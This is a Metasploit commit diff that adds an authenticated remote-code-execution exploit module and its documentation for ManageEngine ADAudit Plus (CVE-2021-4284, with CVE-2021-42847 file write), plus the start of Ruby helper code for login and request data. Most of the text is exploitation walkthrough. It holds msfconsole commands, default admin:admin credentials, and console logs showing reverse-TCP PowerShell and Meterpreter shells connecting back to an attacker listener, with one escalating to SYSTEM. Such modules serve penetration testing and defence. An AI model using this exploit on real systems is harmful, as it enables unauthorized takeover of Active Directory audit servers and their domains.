Land #17133, Add manageengine adaudit plus authenticated rce module and docs - CVE-2021-4284
This commit is contained in:
+467
@@ -0,0 +1,467 @@
|
||||
## Vulnerable Application
|
||||
This module exploits security issues in ManageEngine ADAudit Plus prior to 7006 that allow authenticated users to execute arbitrary code
|
||||
by creating a custom alert profile and leveraging the custom alert script component.
|
||||
|
||||
This module first runs a few checks to test the provided credentials, retrieve the configured domain(s), and
|
||||
obtain the build number of ManageEngine. If the credentials are valid and the target is vulnerable, the module
|
||||
creates an alert profile that will be triggered for any failed login attempt to the configured domain.
|
||||
|
||||
For versions prior to build 7004, the payload is directly inserted in the custom alert script component of the alert profile.
|
||||
|
||||
For builds 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script
|
||||
in the `alert_scripts` directory that contains the payload. Note that this directory will be located under the
|
||||
ADAudit Plus installation directory. The name of this script is then provided as the value for the
|
||||
custom alert script component of the alert profile. For these builds, Meterpreter payloads such as
|
||||
`cmd/windows/powershell/meterpreter/reverse_tcp` do not seem to work and only the `cmd/windows/powershell_reverse_tcp`
|
||||
payload has been tested successfully.
|
||||
|
||||
This module will automatically delete the created alert profile before completing. This happens even if no shell was obtained.
|
||||
|
||||
It should be noted that during a single run, the module will typically authenticate to the target several times.
|
||||
This is because ADAudit Plus is very strict about cookies. After a user performs a successful authentication request,
|
||||
the server sends a cookie that can be used to visit the dashboard. However, in order to interact with most of the API
|
||||
endpoints, the user must then perform a request to `api/json/configuredDomainsList`. Only then does the server return a
|
||||
cookie that can be used to interact with other endpoints. If the above requests are not performed in this exact order,
|
||||
or additional requests are performed before the final cookie is obtained, the entire authentication chain needs to be repeated.
|
||||
|
||||
This module requires valid credentials for an account with the privileges to create alert scripts.
|
||||
It has been successfully tested against ManageEngine ADAudit Plus builds
|
||||
[7003](https://archives2.manageengine.com/active-directory-audit/7003/ManageEngine_ADAudit_Plus_x64.exe) and
|
||||
[7005](https://archives2.manageengine.com/active-directory-audit/7005/ManageEngine_ADAudit_Plus_x64.exe) running on Windows Server 2012 R2.
|
||||
|
||||
Successful exploitation will result in RCE as the user running ManageEngine ADAudit Plus, which will typically be the local administrator.
|
||||
|
||||
Note that exploitation may require a few attempts before a shell is returned. This is because there may be a delay before
|
||||
ManageEngine AdAudit Plus will properly fetch and process the alert which has been triggered. It is advisable to try a few
|
||||
times, wait a bit, and then try again if you haven't gotten a shell.
|
||||
|
||||
## Installation Information
|
||||
Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/).
|
||||
Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application.
|
||||
|
||||
After running the installer, you can launch ADAudit Plus by opening a command prompt with administrator privileges
|
||||
and then running: `<install_dir>\bin\run.bat`. This will typically be at a location like `C:\Program Files\ManageEngine\ADAudit Plus\bin`.
|
||||
Note that you may be asked to accept a license agreement and then be prompted for a license to use. Choose the Evaluation
|
||||
license if this is the case. Note that targets running the Free license will not be able to be exploited due to limitations
|
||||
imposed by the Free license on how often updates are retrieved.
|
||||
|
||||
Once this done, log into ADAudit Plus with the default credentials (set as default options for the module), aka `admin`:`admin`.
|
||||
If the prompt `Default Domain Controllers Policy not configured` appears, click on the Configure link that appears to have
|
||||
it configure the GPO Policy automatically for you.
|
||||
|
||||
Then go to notifications and check for one that says `Product Not Installed As Service` and click on `Install Now`. Once
|
||||
this is done open `Group Policy Management` on the domain controller and go to Forest->Domains->Select your domain->
|
||||
Default Domain Policy and right click on it then click `Edit`.
|
||||
|
||||
Select Computer Configuration->Policies->Windows Settings->Security Settings->Advanced Audit Policy Configuration->
|
||||
Audit Policies->Logon/Logoff and set `Audit Logoff`, `Audit Logon`, `Audit Special Logon` and `Audit Other Logon/Logoff Events`
|
||||
and check the `Configure the following audit events` box as well as the `Success` and `Failure` boxes beneath those.
|
||||
|
||||
Finally log out of the web portal. You should be able to run the module now.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `set LHOST [IP]`
|
||||
5. Do: `set USERNAME [username]`
|
||||
6. Do: `set PASSWORD [password]`
|
||||
7. Do: `exploit`
|
||||
8. Verify you get a shell on the target machine as the user running ManageEngine ADAudit Plus.
|
||||
|
||||
## Options
|
||||
### AUTH_DOMAIN
|
||||
The ADAudit Plus authentication domain to use. The default is `ADAuditPlus Authentication`. If the provided domain
|
||||
does not match an authentication domain that is configured for the target, the module will throw an error and inform the user.
|
||||
|
||||
### USERNAME
|
||||
Username to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials.
|
||||
|
||||
### PASSWORD
|
||||
Password to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials.
|
||||
|
||||
## Scenarios
|
||||
### ManageEngine ADAudit Plus build 7003 running on Windows Server 2012 R2
|
||||
```
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > options
|
||||
|
||||
Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication)
|
||||
PASSWORD admin yes Password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.91.250 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 8081 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to ManageEngine ADAudit Plus
|
||||
USERNAME admin yes Username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.91.195 yes The listen address (an interface may be specified)
|
||||
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
|
||||
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.91.195:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Using configured authentication domain alias LIES.
|
||||
[*] Trying to authenticate...
|
||||
[*] Found 1 configured domain(s):
|
||||
[*] - LIES.local: LIES.local
|
||||
[+] Successfully authenticated
|
||||
[+] The target appears to be vulnerable. The target is ADAudit Plus 7003
|
||||
[*] Attempting to create an alert profile
|
||||
[+] Successfully created alert profile UiYnupjyi24
|
||||
[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials.
|
||||
[*] Trigger attempt completed. Let's hope we get a shell...
|
||||
[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:54442) at 2022-10-12 12:09:43 +0300
|
||||
[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:54441) at 2022-10-12 12:09:43 +0300
|
||||
[*] Attempting to delete alert UiYnupjyi24
|
||||
[+] Successfully deleted alert UiYnupjyi24
|
||||
|
||||
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>whoami
|
||||
lies\administrator
|
||||
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>
|
||||
```
|
||||
|
||||
### ManageEngine ADAudit Plus build 7005 running on Windows Server 2012 R2
|
||||
```
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.91.195:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Using configured authentication domain alias LIES.
|
||||
[*] Trying to authenticate...
|
||||
[*] Found 1 configured domain(s):
|
||||
[*] - LIES.local: LIES.local
|
||||
[+] Successfully authenticated
|
||||
[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists.
|
||||
[*] Attempting to authenticate again in order to retrieve the required cookies.
|
||||
[*] Attempting to create an alert profile
|
||||
[*] Attempting to write the payload to /alert_scripts/mwlhr.ps1
|
||||
[+] Successfully wrote the payload to /alert_scripts/mwlhr.ps1 in the ManageEngine ADAudit Plus install directory
|
||||
[+] Successfully created alert profile dVmy0Ygz
|
||||
[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials.
|
||||
[*] Trigger attempt completed. Let's hope we get a shell...
|
||||
[!] Make sure to manually cleanup the mwlhr.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory
|
||||
[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:41348) at 2022-10-12 12:59:28 +0300
|
||||
[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:41347) at 2022-10-12 12:59:28 +0300
|
||||
[*] Attempting to delete alert profile dVmy0Ygz
|
||||
[+] Successfully deleted profile alert dVmy0Ygz
|
||||
|
||||
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>whoami
|
||||
lies\administrator
|
||||
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>
|
||||
```
|
||||
|
||||
### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Powershell Payload
|
||||
```
|
||||
msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce
|
||||
[*] Using configured payload cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132
|
||||
RHOSTS => 192.168.204.132
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128
|
||||
LHOST => 192.168.204.128
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication)
|
||||
PASSWORD admin yes Password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.204.132 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8081 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to ManageEngine ADAudit Plus
|
||||
USERNAME admin yes Username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.204.128 yes The listen address (an interface may be specified)
|
||||
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > check
|
||||
|
||||
[*] Using configured authentication domain alias DAFOREST.
|
||||
[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin
|
||||
[*] Found 1 configured domain(s): daforest.com
|
||||
[+] Successfully authenticated
|
||||
[*] 192.168.204.132:8081 - The target appears to be vulnerable. The target is ADAudit Plus 6077
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.204.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Using configured authentication domain alias DAFOREST.
|
||||
[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin
|
||||
[*] Found 1 configured domain(s): daforest.com
|
||||
[+] Successfully authenticated
|
||||
[+] The target appears to be vulnerable. The target is ADAudit Plus 6077
|
||||
[*] Attempting to create an alert profile
|
||||
[+] Successfully created alert profile fw4hKcxDG
|
||||
[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials.
|
||||
[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell...
|
||||
[*] Powershell session session 2 opened (192.168.204.128:4444 -> 192.168.204.132:62845) at 2023-05-04 19:42:57 -0500
|
||||
[*] Powershell session session 1 opened (192.168.204.128:4444 -> 192.168.204.132:62844) at 2023-05-04 19:42:57 -0500
|
||||
[*] Attempting to delete alert profile fw4hKcxDG
|
||||
[+] Successfully deleted alert profile fw4hKcxDG
|
||||
|
||||
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami
|
||||
daforest\administrator
|
||||
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^X^Z
|
||||
Background session 2? [y/N] y
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62844 (192.168.204.132)
|
||||
2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.132:62845 (192.168.204.132)
|
||||
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) >
|
||||
```
|
||||
|
||||
### ManageEngine ADAudit Plus build 6077 running on Windows Server 2022 - Meterpreter Payload
|
||||
```
|
||||
msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce
|
||||
[*] Using configured payload cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOSTS 192.168.204.132
|
||||
RHOSTS => 192.168.204.132
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128
|
||||
LHOST => 192.168.204.128
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication)
|
||||
PASSWORD admin yes Password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.204.132 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8081 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to ManageEngine ADAudit Plus
|
||||
USERNAME admin yes Username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.204.128 yes The listen address (an interface may be specified)
|
||||
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set payload cmd/windows/powershell/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/windows/powershell/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.204.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Using configured authentication domain alias DAFOREST.
|
||||
[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin
|
||||
[*] Found 1 configured domain(s): daforest.com
|
||||
[+] Successfully authenticated
|
||||
[+] The target appears to be vulnerable. The target is ADAudit Plus 6077
|
||||
[*] Attempting to create an alert profile
|
||||
[+] Successfully created alert profile iEQnR24qE9n1
|
||||
[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials.
|
||||
[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell...
|
||||
[*] Sending stage (200774 bytes) to 192.168.204.132
|
||||
[*] Sending stage (200774 bytes) to 192.168.204.132
|
||||
[-] Failed to load extension: uninitialized constant Rex::Post::Meterpreter::Extensions::Stdapi::Stdapi
|
||||
WARNING: Local file /home/gwillcox/git/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
|
||||
WARNING: Local files may be incompatible with the Metasploit Framework
|
||||
[!] If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'
|
||||
[*] Meterpreter session 4 opened (192.168.204.128:4444 -> 192.168.204.132:62858) at 2023-05-04 19:45:48 -0500
|
||||
[*] Attempting to delete alert profile iEQnR24qE9n1
|
||||
[*] Meterpreter session 3 opened (192.168.204.128:4444 -> 192.168.204.132:62857) at 2023-05-04 19:45:48 -0500
|
||||
[+] Successfully deleted alert profile iEQnR24qE9n1
|
||||
|
||||
meterpreter > load stdapi
|
||||
Loading extension stdapi...Success.
|
||||
meterpreter > load priv
|
||||
[!] The "priv" extension has already been loaded.
|
||||
meterpreter > whoami
|
||||
[-] Unknown command: whoami
|
||||
meterpreter > getuid
|
||||
Server username: DAFOREST\Administrator
|
||||
meterpreter > getprivs
|
||||
|
||||
Enabled Process Privileges
|
||||
==========================
|
||||
|
||||
Name
|
||||
----
|
||||
SeBackupPrivilege
|
||||
SeChangeNotifyPrivilege
|
||||
SeCreateGlobalPrivilege
|
||||
SeCreatePagefilePrivilege
|
||||
SeCreateSymbolicLinkPrivilege
|
||||
SeDebugPrivilege
|
||||
SeDelegateSessionUserImpersonatePrivilege
|
||||
SeEnableDelegationPrivilege
|
||||
SeImpersonatePrivilege
|
||||
SeIncreaseBasePriorityPrivilege
|
||||
SeIncreaseQuotaPrivilege
|
||||
SeIncreaseWorkingSetPrivilege
|
||||
SeLoadDriverPrivilege
|
||||
SeMachineAccountPrivilege
|
||||
SeManageVolumePrivilege
|
||||
SeProfileSingleProcessPrivilege
|
||||
SeRemoteShutdownPrivilege
|
||||
SeRestorePrivilege
|
||||
SeSecurityPrivilege
|
||||
SeShutdownPrivilege
|
||||
SeSystemEnvironmentPrivilege
|
||||
SeSystemProfilePrivilege
|
||||
SeSystemtimePrivilege
|
||||
SeTakeOwnershipPrivilege
|
||||
SeTimeZonePrivilege
|
||||
SeUndockPrivilege
|
||||
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### ManageEngine ADAudit Plus build 7005 running on Windows Server 2022 - Powershell Payload
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce
|
||||
[*] Using configured payload cmd/windows/powershell_reverse_tcp
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOST 192.168.204.136
|
||||
RHOST => 192.168.204.136
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128
|
||||
LHOST => 192.168.204.128
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication)
|
||||
PASSWORD admin yes Password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.204.136 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8081 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to ManageEngine ADAudit Plus
|
||||
USERNAME admin yes Username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.204.128 yes The listen address (an interface may be specified)
|
||||
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.204.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Using configured authentication domain alias DAFOREST.
|
||||
[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin
|
||||
[*] Found 1 configured domain(s): daforest.com
|
||||
[+] Successfully authenticated
|
||||
[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists.
|
||||
[*] Attempting to authenticate again in order to retrieve the required cookies.
|
||||
[*] Attempting to create an alert profile
|
||||
[*] Attempting to write the payload to /alert_scripts/akbgtwuva.ps1
|
||||
[+] Successfully wrote the payload to /alert_scripts/akbgtwuva.ps1 in the ManageEngine ADAudit Plus install directory
|
||||
[+] Successfully created alert profile VA8dDG52p5
|
||||
[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials.
|
||||
[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell...
|
||||
[!] Make sure to manually cleanup the akbgtwuva.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory
|
||||
[*] Powershell session session 2 opened (192.168.204.128:4444 -> 192.168.204.136:53465) at 2023-05-08 12:01:55 -0500
|
||||
[*] Powershell session session 1 opened (192.168.204.128:4444 -> 192.168.204.136:53464) at 2023-05-08 12:01:55 -0500
|
||||
[*] Attempting to delete alert profile VA8dDG52p5
|
||||
[+] Successfully deleted alert profile VA8dDG52p5
|
||||
|
||||
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami
|
||||
daforest\administrator
|
||||
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> pwd
|
||||
|
||||
Path
|
||||
----
|
||||
C:\Program Files\ManageEngine\ADAudit Plus\bin
|
||||
|
||||
|
||||
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^Z
|
||||
Background session 2? [y/N] y
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53464 (192.168.204.136)
|
||||
2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53465 (192.168.204.136)
|
||||
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) >
|
||||
```
|
||||
@@ -0,0 +1,30 @@
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with ManageEngine ADAudit Plus installations
|
||||
module ManageEngineAdauditPlus
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the ManageEngine ADAudit Plus application', '/']),
|
||||
Msf::OptString.new('USERNAME', [false, 'Username to authenticate with', 'admin']),
|
||||
Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with', 'admin']),
|
||||
|
||||
], Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,44 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData
|
||||
# Generates a JSON hash according to the format required by the GPOWatcherData endpoint
|
||||
#
|
||||
# @param options [Hash] Hash containing parameters to include in the JSON hash.
|
||||
# @option options [Boolean] :isGPOData Is the data GPO data? This is set to true if so, otherwise its set to false.
|
||||
# @option options [String] :DOMAIN_NAME Name of the domain being targeted.
|
||||
# @option options [String] :GPO_GUID The GPO GUID to use.
|
||||
# @option options [Integer] :GPO_VERSION The version number of the GPO GUID in use, or a random number from 1 to 9 if one is not supplied.
|
||||
# @option options [String] :VER_FILE_NAME The version file name in a format that matches ADAudit Plus's VER_FILE_NAME format.
|
||||
# @option options [String] :xmlReport An XML string containing the header to use for the report.
|
||||
# @option options [String] :Html_fileName The filename to use for the post request if provided.
|
||||
# @option options [String] :htmlReport The location to save the HTML report if provided.
|
||||
# @return [String] A string representation of the JSON hash matching the
|
||||
# format required by the GPOWatcherData endpoint. Will be an empty string
|
||||
# if the options param is invalid.
|
||||
def generate_gpo_watcher_data_json(options)
|
||||
post_data = {}
|
||||
return post_data.to_json unless options.is_a?(Hash)
|
||||
|
||||
post_data['isGPOData'] = options['isGPOData'] || true
|
||||
post_data['DOMAIN_NAME'] = options['DOMAIN_NAME'] || ''
|
||||
post_data['GPO_GUID'] = options['GPO_GUID'] || Rex::Proto::MsDtyp::MsDtypGuid.random_generate
|
||||
post_data['GPO_VERSION'] = options['GPO_VERSION'] || rand(1..9)
|
||||
post_data['VER_FILE_NAME'] = options['VER_FILE_NAME'] || generate_ver_file_name
|
||||
post_data['xmlReport'] = options['xmlReport'] || '<?xml version="1.0" encoding="utf-16"?>'
|
||||
|
||||
html_fileName = options['Html_fileName']
|
||||
post_data['Html_fileName'] = html_fileName if html_fileName
|
||||
|
||||
html_report = options['htmlReport']
|
||||
post_data['htmlReport'] = html_report if html_report
|
||||
|
||||
post_data.to_json
|
||||
end
|
||||
|
||||
# Returns a String matching the VER_FILE_NAME format used by ADAudit Plus
|
||||
#
|
||||
# @return [String] Randomly generated String matching the the VER_FILE_NAME format used by ADAudit Plus
|
||||
def generate_ver_file_name
|
||||
"#{rand(1..9)}_#{Rex::Text.rand_text_alphanumeric(18)}".downcase + '.xml'
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,150 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::Login
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo
|
||||
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs
|
||||
|
||||
# Performs a ManageEngine ADAudit Plus login.
|
||||
#
|
||||
# @param auth_domain [String] The authentication domain to use to log in.
|
||||
# @param user [String] The username to log in as.
|
||||
# @param pass [String] The password to log in with.
|
||||
# @param only_get_cookie [Boolean] If this is set to true, then this method will only try to obtain an
|
||||
# 'adapcsrf' cookie that is required to perform API calls.
|
||||
# @return [Hash] Hash containing a `status` key, which is used to hold a
|
||||
# status value as an Integer value, a `message` key, which is used
|
||||
# to hold a message associated with the status value as a String. May optionally
|
||||
# contain an `adapcsrf_cookie` key which maps to a String containing the
|
||||
# adapcsrf cookie to be used for authentication purposes, and/or a
|
||||
# `configured_domains` key which maps to an Array of Strings,
|
||||
# each containing a domain name that has been configured to be used by
|
||||
# the ManageEngine ADAudit Plus target.
|
||||
def adaudit_plus_login(auth_domain, user = '', pass = '', only_get_cookie = false)
|
||||
cookie_jar.clear # let's start fresh
|
||||
|
||||
# Visit the default homepage to retrieve some of the baseline cookies needed to authenticate.
|
||||
res_initial_cookies = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
unless res_initial_cookies
|
||||
return {
|
||||
'status' => adaudit_plus_status::CONNECTION_FAILED,
|
||||
'message' => 'Connection failed.'
|
||||
}
|
||||
end
|
||||
|
||||
# Make sure the target is actually ManageEngine ADAudit Plus
|
||||
unless res_initial_cookies.code == 200 && res_initial_cookies.body =~ /<title>ADAudit Plus/
|
||||
return {
|
||||
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
|
||||
'message' => 'Target does not seem to be ADAudit Plus.'
|
||||
}
|
||||
end
|
||||
|
||||
# Check if we have an initial adapcsrf cookie with the expected format
|
||||
